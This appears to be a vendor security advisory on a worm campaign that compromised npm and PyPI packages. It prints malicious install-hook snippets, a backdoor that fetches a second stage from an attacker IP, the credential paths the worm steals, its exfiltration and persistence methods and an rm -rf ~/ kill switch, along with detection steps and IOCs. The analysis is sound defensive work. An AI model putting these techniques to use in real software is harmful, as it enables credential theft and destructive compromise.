Table of contents
Mini Shai-Hulud Is Back: 172 npm and PyPI Packages Compromised in Latest Wave
The Mini Shai-Hulud supply chain campaign has resurfaced with its largest wave yet. Over a 48-hour window on May 11-12, 2026, attackers compromised 172 unique packages across 403 malicious versions on npm and PyPI, including high-profile scopes like @tanstack, @uipath, @mistralai, and @opensearch-project.
What happened
This is a continuation of the original Shai-Hulud campaign that first targeted SAP CAP packages in late April 2026. The attack pattern remains consistent: compromised packages execute an NPM lifecycle hook that downloads a JavaScript credential stealer worm.
How TanStack was compromised
The attack began with a malicious pull request opened by GitHub user zblgg against the TanStack router repository. The PR, titled “WIP: simplify history build,” was opened as a draft on May 11 at 10:49 UTC and force-pushed multiple times to trigger workflow runs while keeping the visible diff empty.
The attacker exploited a chain of three vulnerabilities in TanStack’s CI/CD pipeline:
- Pwn Request via
pull_request_target: Thebundle-size.ymlworkflow used the pull_request_target trigger, which executes fork code within the base repository’s trusted context. Four Bundle Size workflow runs from the malicious branchfix/history-packagecompleted successfully between 10:49 and 11:11 UTC.
- GitHub Actions cache poisoning: The fork-controlled code poisoned the pnpm store cache with a 1.1 GB entry keyed to match the legitimate release workflow’s lookup hash. As the TanStack postmortem explains,
actions/cache@v5uses a runner-internal token for cache saves, not the workflow’sGITHUB_TOKEN, so settingpermissions:contents: readdoes not prevent cache mutation. - OIDC token extraction from runner memory: When the legitimate
release.ymlworkflow ran at ~19:20 UTC, it restored the poisoned cache. The injected code read the GitHub Actions runner’s process memory via/proc/<pid>/mem, scanning for{"value":"...","isSecret":true}patterns to extract the ambient OIDC token(id-token: write). This token was used to publish 84 malicious package versions directly to npm in two batches at 19:20 and 19:26 UTC.
The malicious versions were published under the legitimate GitHub Actions <npm-oidc-no-reply@github.com> publisher identity, making them indistinguishable from legitimate releases in npm metadata.
What’s new in this wave
The scope has expanded dramatically. Instead of targeting a single ecosystem, this wave hit packages across multiple organizations simultaneously:
- @tanstack – 42 packages (router, start, devtools)
- @uipath – 66 packages (agent SDKs, tooling, CLI)
- @squawk – 22 packages (aviation data tools)
- @tallyui – 10 packages (POS and commerce components)
- @mistralai – 3 packages (AI SDK for npm and PyPI)
- @opensearch-project, @draftlab, @mesadev, and others
The attack also compromised unscoped packages like cross-stitch, ts-dna, wot-api, and safe-action.
Two distinct attack payloads
npm payload: obfuscated credential stealer + worm
The npm packages contain two malicious files:
Injection method 1 – TanStack packages add a malicious optionalDependencies entry pointing to an orphan git commit:
"optionalDependencies": {
"@tanstack/setup": "github:tanstack/router#79ac49ee..."
}That commit’s prepare script runs bun run tanstack_runner.js && exit 1. The exit 1 makes the optional dependency “fail” silently after the payload has already executed.
Injection method 2 – Mistral and propagated packages replace legitimate scripts with a preinstall hook:
"preinstall": "node setup.mjs"
The setup.mjs is a 204-line cleartext Bun downloader that fetches Bun v1.3.13 from hxxps://github[.]com/oven-sh/bun/releases/, then executes router_init.js — a ~2.3 MB payload obfuscated with obfuscator.io (11,516-entry RC4+base64 string table).
PyPI payload: cleartext backdoor
The PyPI mistralai@2.4.6 uses a completely different approach — a cleartext backdoor appended to __init__.py that runs on import:
_url = "https://83[.]142[.]209[.]194/transformers.pyz"
_sub.run(["curl", "-k", "-L", "-s", _url, "-o", _dest], timeout=15)
This targets Linux only and downloads a second-stage payload using curl -k (skipping TLS verification) from a hardcoded IP address.
What it steals
The npm payload (verified via static decryption of 2,289 obfuscated strings) targets a wide range of credentials:
- Cloud credentials: AWS access keys, session tokens, and IMDS metadata (
hxxp://169[.]254[.]169[.]254/latest/api/token); GCP metadata; Azure credentials - Secret stores: HashiCorp Vault tokens (
/.vault-token, hxxp://127[.]0[.]0[.]1:8200); Kubernetes service account tokens (/var/run/secrets/kubernetes.io/serviceaccount/) - Developer tokens: npm tokens (
hxxps://registry[.]npmjs[.]org/-/npm/v1/tokens), GitHub tokens, SSH keys - SaaS credentials: Slack tokens, Stripe keys, Twilio keys
- CI/CD secrets: Sigstore OIDC tokens, GitHub Actions OIDC tokens (via
/proc/<pid>/memscanning) - AI tool configs: Claude Code settings (
.claude/settings.json), Kiro configurations
Self-propagation
Stolen npm tokens feed the worm’s self-propagation mechanism: it queries registry.npmjs.org to enumerate every package the victim can publish, injects malicious dependencies, bumps versions, and publishes compromised releases automatically — using claude@users.noreply.github.com as the fabricated git author.
Exfiltration via E2E encrypted network
Stolen data is exfiltrated through the Session/Oxen messenger’s E2E encrypted file upload network (hxxp://filev2[.]getsession[.]org/file/), routed via seed nodes (seed1.getsession[.]org, seed2.getsession[.]org, seed3.getsession[.]org). This is a full E2E encrypted dead-drop, there is no attacker-controlled C2 server to block.
Persistence and anti-forensics
The payload installs persistence hooks in developer tools:
- Claude Code:
~/.claude/setup.mjs, ~/.claude/router_runtime.js - VS Code:
~/.vscode/setup.mjs, ~/.vscode/tasks.json
It also deploys a dead man’s switch: a gh-token-monitor service (systemd on Linux / LaunchAgent on macOS) that polls api.github.com/user with the stolen token every 60 seconds. If the token is revoked (HTTP 40x), it executes rm -rf ~/. The switch has a 24-hour TTL.
What to do
- Before revoking any tokens: Check for and disable the dead man’s switch first. Look for
~/.local/bin/gh-token-monitor.sh,~/.config/gh-token-monitor/, andcom.user.gh-token-monitorLaunchAgent.
find ~ -path '*/.claude/setup.mjs' -o -path '*/.vscode/setup.mjs'
find ~/.config -name '*gh-token-monitor*'
find ~/.local/bin -name 'gh-token-monitor.sh'
find /tmp -name 'tmp.ts018051808.lock'
ps aux | grep -E 'tanstack_runner|router_runtime|gh-token-monitor|bun'
2. Rotate credentials — If you installed a compromised version, rotate all npm tokens, SSH keys, GitHub tokens, and cloud credentials.
3. Check for /tmp/transformers.pyz on Linux systems that imported mistralai– this indicates the PyPI payload executed.
4. Pin versions – Use lockfiles and pinned versions to prevent automatic resolution to malicious releases.
5. Monitor for unauthorized publishes – Check your npm packages for version bumps you didn’t make.
IOCs
| Type | Value |
|---|---|
| Exfiltration | hxxp://filev2[.]getsession[.]org/file/ |
| PyPI C2 IP | 83[.]142[.]209[.]194 |
| PyPI payload | hxxps://83[.]142[.]209[.]194/transformers.pyz |
| Attacker accounts | zblgg (GitHub ID 127806521), voicproducoes (ID 269549300) |
| Dead man’s switch | ~/.local/bin/gh-token-monitor.sh, ~/.config/gh-token-monitor/ |
| router_init.js (TanStack) | ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c |
| router_init.js (Mistral npm) | 2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96 |
| setup.mjs (Mistral npm) | 2258284d65f63829bd67eaba01ef6f1ada2f593f9bbe41678b2df360bd90d3df |
| init.py (Mistral PyPI) | 2a314ea8be337e1ca9ec833ed13ed854d9fd38bce0a519cf288f3bec8d9e6f30 |
Mend coverage
Mend has issued three MSC advisories covering all 172 affected packages:
- MSC-2026-5354
- MSC-2026-5355
- MSC-2026-5356
References: